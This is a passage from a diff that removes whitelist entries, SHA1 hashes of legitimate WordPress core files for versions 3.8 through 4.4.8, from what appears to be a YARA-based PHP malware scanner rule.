filesize) == "397857a549a3bbb72372db4a39b67b0a5b0260ef" or // wp-includes/post.php - hash.sha1(0, filesize) == "837d3165fdd6fa4bf3d56780a34ab33577fc248f" or // wp-includes/formatting.php - - /* Wordpress 3.8.15 */ - hash.sha1(0, filesize) == "b9c3c902217ba8f3bef52c395f7c0a83e279bd83" or // wp-includes/post-template.php - hash.sha1(0, filesize) == "19cec1b0fffcb657dd976bb06e5b42e19ac2737c" or // wp-includes/formatting.php - - /* Wordpress 3.8.18 */ - hash.sha1(0, filesize) == "b978afc28451154bb7a693c565ef8b19f5bc6ae7" or // wp-admin/press-this.php - - /* Wordpress 3.8.22 */ - hash.sha1(0, filesize) == "6a91923acf188109acc2e5a30fda23881c55cc32" or // wp-admin/includes/template.php - - /* Wordpress 3.8.23 */ - hash.sha1(0, filesize) == "de642bb90ada3f41f206f396313e25816e5d8f7c" or // wp-includes/post.php - - /* Wordpress 3.9 */ - hash.sha1(0, filesize) == "fdade6ea8a0c9c3b7eb1de998985d50e57706329" or // wp-includes/post.php - hash.sha1(0, filesize) == "d530843be2d501a131ff6b915a85e734cf97db26" or // wp-includes/post-template.php - hash.sha1(0, filesize) == "5059267dfc14937e66f7d851633da471e709157d" or // wp-admin/custom-header.php - hash.sha1(0, filesize) == "981639d262d8852f3af27841751bdc47af0ad91f" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "3b1f18ebfce502e1ff780869353124f8e906c722" or // wp-admin/includes/upgrade.php - hash.sha1(0, filesize) == "b4066590d499d3fbbe16a039c397268044ba2966" or // wp-admin/includes/class-wp-plugins-list-table.php - hash.sha1(0, filesize) == "123756694a70b3173df430c06eb2275fefd3d5c6" or // wp-includes/bookmark-template.php - hash.sha1(0, filesize) == "ade19a24ee69bc819952bc8dd17e9681419bf51c" or // wp-admin/press-this.php - hash.sha1(0, filesize) == "55e6c3a26ff8ec1c9c438b04f434ff8c07ad3147" or // wp-admin/includes/file.php - hash.sha1(0, filesize) == "912e1f61a838b655fe2abc79736c99aabd48a356" or // wp-admin/includes/class-wp-ms-themes-list-table.php - hash.sha1(0, filesize) == "ad34cc6370dfbca4f266cdc47042aa63fce396aa" or // wp-includes/formatting.php - hash.sha1(0, filesize) == "1e5c370e65525383a5e3a7b0cdcb1f11b49c3916" or // wp-includes/class-wp-editor.php - hash.sha1(0, filesize) == "30449c531e5b3d4472b05e1563f5dfe0731247cf" or // wp-includes/deprecated.php - - /* Wordpress 3.9.1 */ - hash.sha1(0, filesize) == "fc701bec3a8b4be04b95a54554d5258e9ec53604" or // wp-admin/custom-header.php - hash.sha1(0, filesize) == "bdb3011b2d6852961e1526902fb11bdc4ce035e6" or // wp-includes/class-wp-editor.php - - /* Wordpress 3.9.3 */ - hash.sha1(0, filesize) == "0dbcc9f00219723fe83189adb3363117a991a47a" or // wp-admin/press-this.php - hash.sha1(0, filesize) == "ec47de2fe4f43c8854283e306af6527220f10d8a" or // wp-includes/formatting.php - - /* Wordpress 3.9.4 */ - hash.sha1(0, filesize) == "967bb47c3c907d1eb7680d1336038dba72c889b1" or // wp-includes/formatting.php - hash.sha1(0, filesize) == "7f0881182c770cce1e2ed83db5f9bc5d6dbe38c2" or // wp-includes/class-wp-editor.php - - /* Wordpress 3.9.6 */ - hash.sha1(0, filesize) == "b74a69b22dc896d893284007ec39a63f743e758a" or // wp-admin/includes/upgrade.php - - /* Wordpress 3.9.7 */ - hash.sha1(0, filesize) == "43cebf89b4f38592f6132ecea1ba941912a186de" or // wp-includes/formatting.php - - /* Wordpress 3.9.8 */ - hash.sha1(0, filesize) == "4f88a52e8ad9bfc95937c77c8caa5f1f04142f13" or // wp-includes/post.php - hash.sha1(0, filesize) == "90d6097ca320df378e5479bfec559fee6f55668f" or // wp-includes/formatting.php - - /* Wordpress 3.9.13 */ - hash.sha1(0, filesize) == "fe58d69d790416da4bbdb6a55e323063834f4648" or // wp-includes/post-template.php - hash.sha1(0, filesize) == "6a6a2a2780939a09d5764a3815851ff88d3c9aea" or // wp-includes/formatting.php - - /* Wordpress 3.9.14 */ - hash.sha1(0, filesize) == "56fb3cb81757e66eb09155b6529df8a4366dca58" or // wp-admin/includes/media.php - - /* Wordpress 3.9.15 */ - hash.sha1(0, filesize) == "20beff7a3a3b5644effe66a30a4a209a836661c0" or // wp-admin/includes/media.php - - /* Wordpress 3.9.16 */ - hash.sha1(0, filesize) == "17cf762e729f48b930c929e2c9b5f0fc8621c267" or // wp-admin/press-this.php - - /* Wordpress 3.9.17 */ - hash.sha1(0, filesize) == "62cab072dbad806cc40627261262bf7299caf21c" or // wp-admin/includes/media.php - - /* Wordpress 3.9.18 */ - hash.sha1(0, filesize) == "a899b606190b530dc5f12b1e8cfad8d84ac97285" or // wp-admin/includes/media.php - - /* Wordpress 3.9.19 */ - hash.sha1(0, filesize) == "1b28e79f006324fbe2b300a6ea743405ac438cad" or // wp-admin/includes/file.php - - /* Wordpress 3.9.20 */ - hash.sha1(0, filesize) == "ba73fa0db433dd6181a2ecf075fa634561e2545d" or // wp-admin/includes/class-wp-plugins-list-table.php - hash.sha1(0, filesize) == "c33820caed04d7139d7581dcff20f50a2de25641" or // wp-admin/includes/template.php - hash.sha1(0, filesize) == "3c191f8de29dea67e78bfc52c8faf0562ecad260" or // wp-admin/includes/file.php - - /* Wordpress 3.9.21 */ - hash.sha1(0, filesize) == "988f8b36156f09622ac727a68d44e97116c34454" or // wp-includes/post.php - - /* Wordpress 4.0 */ - hash.sha1(0, filesize) == "82e32b63daae46dd047a0aeff5e55182a8a9a247" or // wp-includes/post.php - hash.sha1(0, filesize) == "4fb0b9d1a9b2e4c03de74095d73457817986b979" or // wp-includes/bookmark-template.php - hash.sha1(0, filesize) == "9304e232507d1bdfd10c2820116ff6f429355411" or // wp-includes/post-template.php - hash.sha1(0, filesize) == "b970f1af7c9836198ed149f6557b53e1595dfc2a" or // wp-admin/custom-header.php - hash.sha1(0, filesize) == "0fcd2d0b4b6884e2772e66eb6d078814593a1bc4" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "a983e0c54fabc75aa8eebcf507aaf3dfca8ad9d6" or // wp-includes/media.php - hash.sha1(0, filesize) == "3c0ef307dc1b32e0f5f916511bc0df217de9d15b" or // wp-admin/includes/upgrade.php - hash.sha1(0, filesize) == "fd9e49f9dd5452cf1b2880d9f47be0e303382ef2" or // wp-admin/includes/class-wp-plugins-list-table.php - hash.sha1(0, filesize) == "8fc22fb5f4e8551587d0e311542134b062b5f8a1" or // wp-admin/includes/class-wp-list-table.php - hash.sha1(0, filesize) == "4cc841961c01b4bd81dbe9972ccf39ec5c043192" or // wp-includes/query.php - hash.sha1(0, filesize) == "d3332163c0606bec546372e1c94ee9c955522578" or // wp-admin/press-this.php - hash.sha1(0, filesize) == "8b322e6512d24c3ad1893575c39242211b951c4b" or // wp-admin/includes/file.php - hash.sha1(0, filesize) == "97a5c2407641de70f7de8459adbacacd6b7edce5" or // wp-admin/includes/class-wp-ms-themes-list-table.php - hash.sha1(0, filesize) == "07b367d691a9ef5d86c4b9832576ef206f35e625" or // wp-includes/formatting.php - hash.sha1(0, filesize) == "21fc94443bb049bafa1e015bf3c2ec21b55900f2" or // wp-includes/class-wp-editor.php - hash.sha1(0, filesize) == "81b49b9680bd7ba29e8b0149f7720103373e4904" or // wp-includes/deprecated.php - - /* Wordpress 4.0.1 */ - hash.sha1(0, filesize) == "1e77eaa3433ae54ee956f363a994a00525b1184f" or // wp-includes/post.php - hash.sha1(0, filesize) == "10136f1ab8a728e2afbd04f7c80310db1a27239d" or // wp-includes/media.php - hash.sha1(0, filesize) == "965294df03cc370d027c8ab2a1486a2187f5d8a3" or // wp-admin/press-this.php - hash.sha1(0, filesize) == "09cd0dd0e291121d6d2c7dc319dfdfda7d44a618" or // wp-includes/formatting.php - - /* Wordpress 4.0.2 */ - hash.sha1(0, filesize) == "02a97efa5903ce2e5e0529ba8b8d87f344c289ee" or // wp-includes/formatting.php - hash.sha1(0, filesize) == "0a7c985787c6f70d69a3ca6f6a0879a45cc3a853" or // wp-includes/class-wp-editor.php - - /* Wordpress 4.0.4 */ - hash.sha1(0, filesize) == "c559fe6c1012b8ca3924e9ad6cbf91cd40c1f47c" or // wp-admin/includes/upgrade.php - - /* Wordpress 4.0.5 */ - hash.sha1(0, filesize) == "4b840f4cc3e723e821f8b9a95cd271c529f310af" or // wp-admin/includes/upgrade.php - - /* Wordpress 4.0.6 */ - hash.sha1(0, filesize) == "65baab493816da86c38caac0f04f5c58e207513d" or // wp-includes/formatting.php - - /* Wordpress 4.0.7 */ - hash.sha1(0, filesize) == "9efaa8054acbf7558bb9458a5ab0e3f37c7a45bc" or // wp-includes/post.php - hash.sha1(0, filesize) == "9f51202e0861eb5f47f6f158f65fec001ebafe2c" or // wp-includes/formatting.php - - /* Wordpress 4.0.8 */ - hash.sha1(0, filesize) == "6191ae4a4b1a6668f51aeba1f70e66ea1d379e26" or // wp-includes/media.php - - /* Wordpress 4.0.12 */ - hash.sha1(0, filesize) == "05aa0203e606fb851d263a7c3e5f55f5a0c95987" or // wp-includes/post-template.php - hash.sha1(0, filesize) == "a59284e4a4dd8b95a31c7b2ae88db5b6f0bb46ee" or // wp-includes/formatting.php - - /* Wordpress 4.0.13 */ - hash.sha1(0, filesize) == "d4132a2626922fe059e64165b7151b71f13d4584" or // wp-admin/includes/media.php - - /* Wordpress 4.0.14 */ - hash.sha1(0, filesize) == "7f4c950f496d7411ca2685757f7ab843e940143b" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "cb11c7c8e84314a2500056d336eb58b7cf49a498" or // wp-includes/functions.php - - /* Wordpress 4.0.15 */ - hash.sha1(0, filesize) == "50b3e8e4e5238f6ef35f0c9441d62426238ffc0b" or // wp-includes/query.php - hash.sha1(0, filesize) == "5dddd212c03cdd421e5a5f26cf83d0736ee4e8a5" or // wp-admin/press-this.php - - /* Wordpress 4.0.16 */ - hash.sha1(0, filesize) == "17d61ac47259e04c0a51de80c75bada5421e0af7" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "ef87ad9057d69c14d1bc57b32df2fdc51b419996" or // wp-includes/media.php - - /* Wordpress 4.0.17 */ - hash.sha1(0, filesize) == "87386ef00398bc95dcf0ea565784829b92e32c73" or // wp-admin/includes/media.php - - /* Wordpress 4.0.18 */ - hash.sha1(0, filesize) == "eca79312a2989d0a1292fb7e265568c41ea74be0" or // wp-admin/includes/file.php - - /* Wordpress 4.0.19 */ - hash.sha1(0, filesize) == "1d7f8e66bc7b7ba0f95ccf71827f0a075f2ec749" or // wp-admin/includes/class-wp-plugins-list-table.php - hash.sha1(0, filesize) == "ce46dbe00ec0acd2e160c0070e171fc23d47e5eb" or // wp-admin/includes/template.php - hash.sha1(0, filesize) == "53cbff6d382ce43f29938e72cba0110b9b982596" or // wp-admin/includes/file.php - - /* Wordpress 4.0.20 */ - hash.sha1(0, filesize) == "ba71063229da2c60ff12b8421ee0a95412b4784a" or // wp-includes/post.php - - /* Wordpress 4.0.21 */ - hash.sha1(0, filesize) == "5047d373b97e062634d783b498345a25fea4cf00" or // wp-includes/functions.php - - /* Wordpress 4.1 */ - hash.sha1(0, filesize) == "02cee043d87d284344c66762deecea657356e781" or // wp-includes/post.php - hash.sha1(0, filesize) == "1d3fceaeb67737f3f992da755353eedfba12e4b9" or // wp-includes/bookmark-template.php - hash.sha1(0, filesize) == "8f3c3c29001162345137ddea56a93498b6cad46a" or // wp-includes/post-template.php - hash.sha1(0, filesize) == "00ae2858df9a4a13c353b3bcfadf63f3086f21d0" or // wp-admin/custom-header.php - hash.sha1(0, filesize) == "c5bae0f590efd22edec293c66fac52b276893a04" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "354076ec60e30aeb0cae833f7ec583795fa114b0" or // wp-includes/media.php - hash.sha1(0, filesize) == "fcb78dcbf115880ae060ef0c21d3dcb4f1cb74f6" or // wp-includes/meta.php - hash.sha1(0, filesize) == "3e75c0e0099fe3f7ae71d837b304a11f7e572859" or // wp-admin/includes/upgrade.php - hash.sha1(0, filesize) == "ae7515e3609d2779ab8e8fc7db7514170d56bb7f" or // wp-admin/includes/class-wp-plugins-list-table.php - hash.sha1(0, filesize) == "899d816f539bd30aa42dc2bc0bfacee66b049e6b" or // wp-includes/date.php - hash.sha1(0, filesize) == "b855e2330dd28c8923a88b6329752690bba5d16e" or // wp-includes/query.php - hash.sha1(0, filesize) == "4076aef534a5cc026932aaa6d46790482935ff03" or // wp-admin/press-this.php - hash.sha1(0, filesize) == "eb819418e10a78871f4ae134644b031b1421e112" or // wp-admin/includes/file.php - hash.sha1(0, filesize) == "e243d6e0a0d3b1a354a14f9c8180ae654c73219f" or // wp-admin/includes/class-wp-ms-themes-list-table.php - hash.sha1(0, filesize) == "dbcdf3fb3abd85ff8691204e868a0d326327d3ee" or // wp-includes/formatting.php - hash.sha1(0, filesize) == "170fcfea64689020dfb31af46193b02108858a97" or // wp-includes/taxonomy.php - hash.sha1(0, filesize) == "d8ba2ffb89d8e6fd1a9a8dabe1cc9558c37f58e6" or // wp-includes/class-wp-editor.php - hash.sha1(0, filesize) == "5183fdbeac6f4d0c83c17f60a72308b3dc3a5d43" or // wp-includes/deprecated.php - - /* Wordpress 4.1.1 */ - hash.sha1(0, filesize) == "e934a4b0f9cb2ba47cfa428cb10343d7d48d8431" or // wp-includes/date.php - hash.sha1(0, filesize) == "458d3517e602b97008185d0cc49f0ffaaa0bf28c" or // wp-includes/taxonomy.php - - /* Wordpress 4.1.2 */ - hash.sha1(0, filesize) == "fa376bf871e4e90a78995a24d5b8dfd6329c2034" or // wp-includes/formatting.php - hash.sha1(0, filesize) == "625e89b44b46c3a9a5793e2bc1fb978140f66095" or // wp-includes/class-wp-editor.php - - /* Wordpress 4.1.4 */ - hash.sha1(0, filesize) == "f1c6460e538e677661c279ef0ce65b0bc18eb913" or // wp-admin/includes/upgrade.php - - /* Wordpress 4.1.5 */ - hash.sha1(0, filesize) == "8b32b2a0dec44bbd0d5d97e4f1b26efd20d61f9b" or // wp-admin/includes/upgrade.php - - /* Wordpress 4.1.6 */ - hash.sha1(0, filesize) == "aa31ad3b27e8b7b037b2aaff685ef3fd48f5c600" or // wp-includes/formatting.php - - /* Wordpress 4.1.7 */ - hash.sha1(0, filesize) == "092dc4b0af1285499f15d13c8765bfe94a12c287" or // wp-includes/post.php - hash.sha1(0, filesize) == "cc2fa51146cc136cfb0a2dcd84084f7a7297f977" or // wp-includes/formatting.php - - /* Wordpress 4.1.8 */ - hash.sha1(0, filesize) == "f6abf8f0104252dee182b1c8ba5a22eaeec98620" or // wp-includes/media.php - - /* Wordpress 4.1.11 */ - hash.sha1(0, filesize) == "d1067c4ca6343710c2c01426c5dd601a27108230" or // wp-includes/taxonomy.php - - /* Wordpress 4.1.12 */ - hash.sha1(0, filesize) == "f882a04b5dd0b8ade98ac751dc400c72de08fb4a" or // wp-includes/post-template.php - hash.sha1(0, filesize) == "a34ef14ee5c1b3d94dadf7cd98c774565c77b523" or // wp-includes/formatting.php - - /* Wordpress 4.1.13 */ - hash.sha1(0, filesize) == "f74a1c5e34ac02cde591fc7de997247f4ee2ad06" or // wp-admin/includes/media.php - - /* Wordpress 4.1.14 */ - hash.sha1(0, filesize) == "53bce74420948c2b1448de107fbd960b2ea7e925" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "d089ae5d3be70327a03fe19ca65bd08eef522f23" or // wp-includes/functions.php - - /* Wordpress 4.1.15 */ - hash.sha1(0, filesize) == "0c436ad9b21445656967b841e2377fb91d5eaef9" or // wp-includes/query.php - hash.sha1(0, filesize) == "15872b26705de36cfa3bca17311d46bed8a26cb3" or // wp-admin/press-this.php - - /* Wordpress 4.1.16 */ - hash.sha1(0, filesize) == "cb79f6dc730fb8556b930f214f91552e1e88b487" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "71a4e6b43192944d30eb317aa534e6ac66b0c4d6" or // wp-includes/media.php - - /* Wordpress 4.1.17 */ - hash.sha1(0, filesize) == "b9f3626b12baac5497ca8c085ae378ba2e88a2bf" or // wp-admin/includes/media.php - - /* Wordpress 4.1.18 */ - hash.sha1(0, filesize) == "9eadd29eb5e4ac074fb0aa2d79ba75a6f8abec32" or // wp-admin/includes/file.php - - /* Wordpress 4.1.19 */ - hash.sha1(0, filesize) == "dde667c7b2d2dfb486b717029fa2e5b231e98343" or // wp-admin/includes/class-wp-plugins-list-table.php - hash.sha1(0, filesize) == "6356e9f524f519c44487be463568b25afbe0994f" or // wp-admin/includes/template.php - hash.sha1(0, filesize) == "143e73ae0357a0753b0100cd3faf1337b2bbeeeb" or // wp-admin/includes/file.php - - /* Wordpress 4.1.20 */ - hash.sha1(0, filesize) == "a32f064225cf2204e5cba0809710fd5beeb6bc99" or // wp-includes/post.php - - /* Wordpress 4.1.21 */ - hash.sha1(0, filesize) == "9c240b8e97bdfcadd9161e28925ecf5490c6211c" or // wp-includes/functions.php - - /* Wordpress 4.2 */ - hash.sha1(0, filesize) == "76e12317ec1285adcdc492efe71f898ccd76cc4f" or // wp-includes/post.php - hash.sha1(0, filesize) == "8c897ac93db0620c7a4a5bba2bbc3a6d5ee1a741" or // wp-includes/post-template.php - hash.sha1(0, filesize) == "98042c16520129851ab0ad515f7f0d7c8a04bc97" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "7b0e29a942a5d6e9541c4eff5ba4e3fc5ad2f180" or // wp-admin/includes/upgrade.php - hash.sha1(0, filesize) == "4eb961932a223428dbb0354cba7a109d4f082069" or // wp-admin/includes/class-wp-plugins-list-table.php - hash.sha1(0, filesize) == "8a060c75a4e994b89ddd8dd0b11393f34f7c49b5" or // wp-includes/date.php - hash.sha1(0, filesize) == "ebe698479d1434e7afb3da1370519742e64e178f" or // wp-admin/includes/file.php - hash.sha1(0, filesize) == "9ddcac4aa1d7b51a518e83d399a66675a2758752" or // wp-admin/includes/class-wp-ms-themes-list-table.php - hash.sha1(0, filesize) == "19cdb09b16b10165a92d21382eb6703f89ef20ab" or // wp-includes/formatting.php - hash.sha1(0, filesize) == "c6de0a53dbf301eb529826b824f6537f08e51dd8" or // wp-admin/credits.php - hash.sha1(0, filesize) == "dfc724c94a5d2b96442d7a7c311de38e30b10952" or // wp-includes/default-widgets.php - hash.sha1(0, filesize) == "a7735baf35c981deb7ea85336cbb56f437fe2dad" or // wp-includes/taxonomy.php - hash.sha1(0, filesize) == "4f2bad51df6f336ea3d0a3d3591bd2b4d6cedd71" or // wp-includes/class-wp-editor.php - hash.sha1(0, filesize) == "1c91876e8ef415bc46eb7784df192d1c4394d591" or // wp-includes/meta.php - - /* Wordpress 4.2.1 */ - hash.sha1(0, filesize) == "a06f2699c21268a9b2b1e5c1f2880ac037f206f1" or // wp-admin/includes/upgrade.php - - /* Wordpress 4.2.2 */ - hash.sha1(0, filesize) == "51803cf19e419ce2c3702939acbefedf0d5607db" or // wp-includes/post.php - hash.sha1(0, filesize) == "a88ec5f8fea806472d87b8b4fda68cd6a84e31f4" or // wp-admin/includes/upgrade.php - hash.sha1(0, filesize) == "7e3f36fbb6b69f921b27ebec9bc7ff02dc016158" or // wp-admin/includes/file.php - hash.sha1(0, filesize) == "e7689e0b3b3dec898fe1a647a9dc3b34f96761e1" or // wp-includes/formatting.php - - /* Wordpress 4.2.5 */ - hash.sha1(0, filesize) == "57861a47a63f7ffdbfb257cd52925f0019c3e516" or // wp-includes/media.php - hash.sha1(0, filesize) == "c5a495823473f47ae0ba451665270ee7e717de52" or // wp-admin/includes/ajax-actions.php - - /* Wordpress 4.2.8 */ - hash.sha1(0, filesize) == "f85f407e66a6dd8b1a3ec2a2a3b1a8e791f422ec" or // wp-includes/taxonomy.php - - /* Wordpress 4.2.9 */ - hash.sha1(0, filesize) == "1df1bfa4b6984284479901424a469df48e63e322" or // wp-includes/post-template.php - hash.sha1(0, filesize) == "8e9e78a23eb3865e5578a16dcde048227ed51a91" or // wp-admin/includes/ajax-actions.php - hash.sha1(0, filesize) == "00d52b0e666bf35211ebbad67a264f02e66984ad" or // wp-includes/formatting.php - - /* Wordpress 4.2.10 */ - hash.sha1(0, filesize) == "ae3064d1f5c1a4161c3d6f02d045c544e845fef0" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "3d75e6312f084dc7b9967e9ebd2456d79e0eea0d" or // wp-admin/includes/upgrade.php - - /* Wordpress 4.2.11 */ - hash.sha1(0, filesize) == "8110425395226f04718882986374edcf058e8071" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "1082a6b2b4f09f19191eafb79f715a2356a17c96" or // wp-includes/functions.php - - /* Wordpress 4.2.12 */ - hash.sha1(0, filesize) == "2cf8d3dc23df2912e44f80d8fe0c28e2be990a97" or // wp-includes/query.php - - /* Wordpress 4.2.13 */ - hash.sha1(0, filesize) == "925e66ad92240ab58627a499b669b4a24c4e6e3b" or // wp-includes/media.php - hash.sha1(0, filesize) == "80fbeb35c51a6a9b5ab110d9712179b4e89f8bb2" or // wp-admin/includes/media.php - - /* Wordpress 4.2.14 */ - hash.sha1(0, filesize) == "362f722769715178d58b40e9115c930c841c2f9a" or // wp-admin/includes/media.php - - /* Wordpress 4.2.15 */ - hash.sha1(0, filesize) == "524eefb11aec7a44e797146019b15f651af6abfd" or // wp-admin/includes/file.php - - /* Wordpress 4.2.16 */ - hash.sha1(0, filesize) == "59045c43cb0c3efdc9c4e8f8baa8d8012368a299" or // wp-admin/includes/class-wp-plugins-list-table.php - hash.sha1(0, filesize) == "a50148f6e2bfab5141ec38a99a963fe779ecae85" or // wp-admin/includes/template.php - hash.sha1(0, filesize) == "1dbeae546c632435e05021b5952856ebb148ad85" or // wp-admin/includes/file.php - - /* Wordpress 4.2.17 */ - hash.sha1(0, filesize) == "3d38f79fc4d9647b5e246293e1ae9e6d30ad3866" or // wp-includes/post.php - - /* Wordpress 4.2.18 */ - hash.sha1(0, filesize) == "9cddb65051a3957b9d9df08e0d4dbcc8904401f1" or // wp-includes/functions.php - - /* Wordpress 4.3 */ - hash.sha1(0, filesize) == "9ac361b7a5f7b4bedfa401105430ad4bbc42d703" or // wp-includes/post.php - hash.sha1(0, filesize) == "be3ce06026587ce523757aa1b250641a7b372dc3" or // wp-includes/bookmark-template.php - hash.sha1(0, filesize) == "7d3d75d75f52d5c65f1e662f4df08ccb98ecdc89" or // wp-includes/post-template.php - hash.sha1(0, filesize) == "1621e2b54e4e6662fd91f62ebe4b1faa7919db2b" or // wp-includes/media.php - hash.sha1(0, filesize) == "41ce7e5dcc5e900cdbad71e32e178f3e4e343331" or // wp-admin/includes/ajax-actions.php - hash.sha1(0, filesize) == "4a1897a9f8a35b872af6710a715d8a951735e25d" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "0ff072081cac324fcec8f1673c48d0050cf889fb" or // wp-includes/meta.php - hash.sha1(0, filesize) == "eca907eb041cbd279f81668a8ccd94199b9f885b" or // wp-admin/includes/upgrade.php - hash.sha1(0, filesize) == "7e35b47d3fb712e063811249ed40b4bccd679ef5" or // wp-admin/includes/class-wp-plugins-list-table.php - hash.sha1(0, filesize) == "6cf363c76248948ba36d62d247f9d0341efc7fb7" or // wp-includes/taxonomy.php - hash.sha1(0, filesize) == "c4dc6b1193ebe75ab6a3dbbb685edbbacc35e072" or // wp-includes/query.php - hash.sha1(0, filesize) == "3be43a3712d0729b506b38b5517e8e26840231ca" or // wp-admin/includes/file.php - hash.sha1(0, filesize) == "eb5a5794ca54733861b717d99c44668fdf6f542a" or // wp-admin/includes/class-wp-ms-themes-list-table.php - hash.sha1(0, filesize) == "93a22e63c422a6e8dc83299f4774559422479cc1" or // wp-includes/formatting.php - hash.sha1(0, filesize) == "0e7b4e9dcf6b9fc737a524271f0a7297691e41bd" or // wp-includes/default-widgets.php - hash.sha1(0, filesize) == "9701a951e8e21545a2be97302d1d234e0772f29d" or // wp-includes/deprecated.php - - /* Wordpress 4.3.1 */ - hash.sha1(0, filesize) == "b3110df406c6c4a2694c97e38122e39c7ec6577a" or // wp-includes/media.php - hash.sha1(0, filesize) == "f97d139bdc73107b361a9e3ac728a6d9742bbcb3" or // wp-admin/includes/upgrade.php - hash.sha1(0, filesize) == "4e49ee459af033622b44846cf7e93b3d24e5c719" or // wp-includes/taxonomy.php - hash.sha1(0, filesize) == "22df02ddfc4d28064ac4008fb9f416941465ecb5" or // wp-includes/formatting.php - hash.sha1(0, filesize) == "f29a9710ba563d5b197acf6eb815e5eb5a96981d" or // wp-includes/default-widgets.php - - /* Wordpress 4.3.4 */ - hash.sha1(0, filesize) == "145f0dfb8c9ea70c32a446d3b4cc3814d9efc865" or // wp-includes/taxonomy.php - - /* Wordpress 4.3.5 */ - hash.sha1(0, filesize) == "e140bb6105dbc39d2a84c7734b5748ba98f97d0f" or // wp-includes/post-template.php - hash.sha1(0, filesize) == "2b6c539cf7c96e86751e7845cfb749ba5b0ad268" or // wp-admin/includes/ajax-actions.php - hash.sha1(0, filesize) == "a945290f46ae8f0386e8cb8e1d052a179b7607a2" or // wp-includes/formatting.php - - /* Wordpress 4.3.6 */ - hash.sha1(0, filesize) == "1e3fe00ea43a55e0499d6485037aca6868490bd6" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "c40c86e2906587d7a94ca48505f7a01b78e73d75" or // wp-admin/includes/upgrade.php - - /* Wordpress 4.3.7 */ - hash.sha1(0, filesize) == "275331ea9d076c0d9c89616373a3e07a12ee8206" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "a5985105432f4669f865ed3f56209f5d28106801" or // wp-includes/functions.php - - /* Wordpress 4.3.8 */ - hash.sha1(0, filesize) == "e6315cf0672b295d772c25e08ed55d557f4722fa" or // wp-includes/query.php - - /* Wordpress 4.3.9 */ - hash.sha1(0, filesize) == "826cd281357fb27bcf3e1217c1f9b36e62315b6c" or // wp-includes/media.php - hash.sha1(0, filesize) == "30877e873e61e6d4ecb9aa608e6b05d1607c3e09" or // wp-admin/includes/media.php - - /* Wordpress 4.3.10 */ - hash.sha1(0, filesize) == "663c4f356e45a72715fcdb5f863a03f007855314" or // wp-admin/includes/media.php - - /* Wordpress 4.3.11 */ - hash.sha1(0, filesize) == "7bcba0af268e5fab44ebcb1e0ec5883e9804df79" or // wp-admin/includes/file.php - - /* Wordpress 4.3.12 */ - hash.sha1(0, filesize) == "d9978f6e12240814982c90f6972ecdf58f9fb59d" or // wp-admin/includes/class-wp-plugins-list-table.php - hash.sha1(0, filesize) == "ab037fb84ec5bdee286a97a1aed72ab69e710427" or // wp-admin/includes/template.php - hash.sha1(0, filesize) == "34ec6168c4aa8e9369d5c5bc49f09dfd83d20879" or // wp-admin/includes/file.php - - /* Wordpress 4.3.13 */ - hash.sha1(0, filesize) == "2c351d173b7ac77f56f0626d1da6430809037c09" or // wp-includes/post.php - - /* Wordpress 4.3.14 */ - hash.sha1(0, filesize) == "7e68cbc4594bec9a37268be0a3153bc327964650" or // wp-includes/functions.php - - /* Wordpress 4.4 */ - hash.sha1(0, filesize) == "b7e5febb44afe5438ab5cf733bd0a02fc4f4b2a8" or // wp-includes/widgets/class-wp-widget-categories.php - hash.sha1(0, filesize) == "7f9be8f15d5f0212376ecc0633fba1b7986e09c1" or // wp-includes/post-template.php - hash.sha1(0, filesize) == "f0fa0a65ec23e011672c0c25a1130365bfc4dc35" or // wp-includes/class-wp-tax-query.php - hash.sha1(0, filesize) == "d1c839dfbaaf2ddc4e4ae57d8bdb4316cd25c1a2" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "6eff1fd4e45d11c2785fd0be8cceb8e07269a072" or // wp-includes/class-wp-meta-query.php - hash.sha1(0, filesize) == "9a6f07102ccc8c0c842f7e08441aa1f2d0500214" or // wp-admin/includes/class-wp-plugins-list-table.php - hash.sha1(0, filesize) == "9180550308e961482e28a372f5c7eba70210295b" or // wp-includes/date.php - hash.sha1(0, filesize) == "d679ead3f70be8642ee36c5d249fba8d7539eadf" or // wp-admin/includes/file.php - hash.sha1(0, filesize) == "d2a35d9a571975f972e28a5b5cc77e1370ada007" or // wp-admin/includes/class-wp-ms-themes-list-table.php - hash.sha1(0, filesize) == "2fdf93ae88735d062a8635ac1d22a6904cb89ab8" or // wp-includes/formatting.php - hash.sha1(0, filesize) == "086986cdf03ede58494034661d38c4842af38fe3" or // wp-includes/SimplePie/Parse/Date.php - hash.sha1(0, filesize) == "9d6b7298c4724385732d3512526eb8e7a0f59d79" or // wp-includes/deprecated.php - - /* Wordpress 4.4.1 */ - hash.sha1(0, filesize) == "17659465ca029164a3cfa15517a5e0358cb59a6b" or // wp-includes/random_compat/random.php - - /* Wordpress 4.4.2 */ - hash.sha1(0, filesize) == "45ed235ed268d289665f8d0866cbbdbc46e1b25c" or // wp-includes/random_compat/random.php - - /* Wordpress 4.4.4 */ - hash.sha1(0, filesize) == "bb0ab626d7d5ed3fef7ea910d73f02b3159d8b31" or // wp-includes/post-template.php - - /* Wordpress 4.4.5 */ - hash.sha1(0, filesize) == "9076a0939127bd082bb9fd20099c243ee64d6c7e" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "65d8091dabdce10fddf855aa86994e7f6c206678" or // wp-admin/includes/upgrade.php - - /* Wordpress 4.4.6 */ - hash.sha1(0, filesize) == "bb5871932b7db7af34deefc2fa3e1c2c39ebfaac" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "0a6321cc5a95ba50ac065be6f863e410d4c753e6" or // wp-includes/functions.php - - /* Wordpress 4.4.7 */ - hash.sha1(0, filesize) == "324da3de8c2e95d4f1c833de7bb969cce65017a1" or // wp-includes/query.php - - /* Wordpress 4.4.8 */ - hash.sha1(0, filesize) == "f23c04db16a26cfdd7698354b5b5e4e5ba8d2c3c" or // wp-admin/includes/media.php - - /* 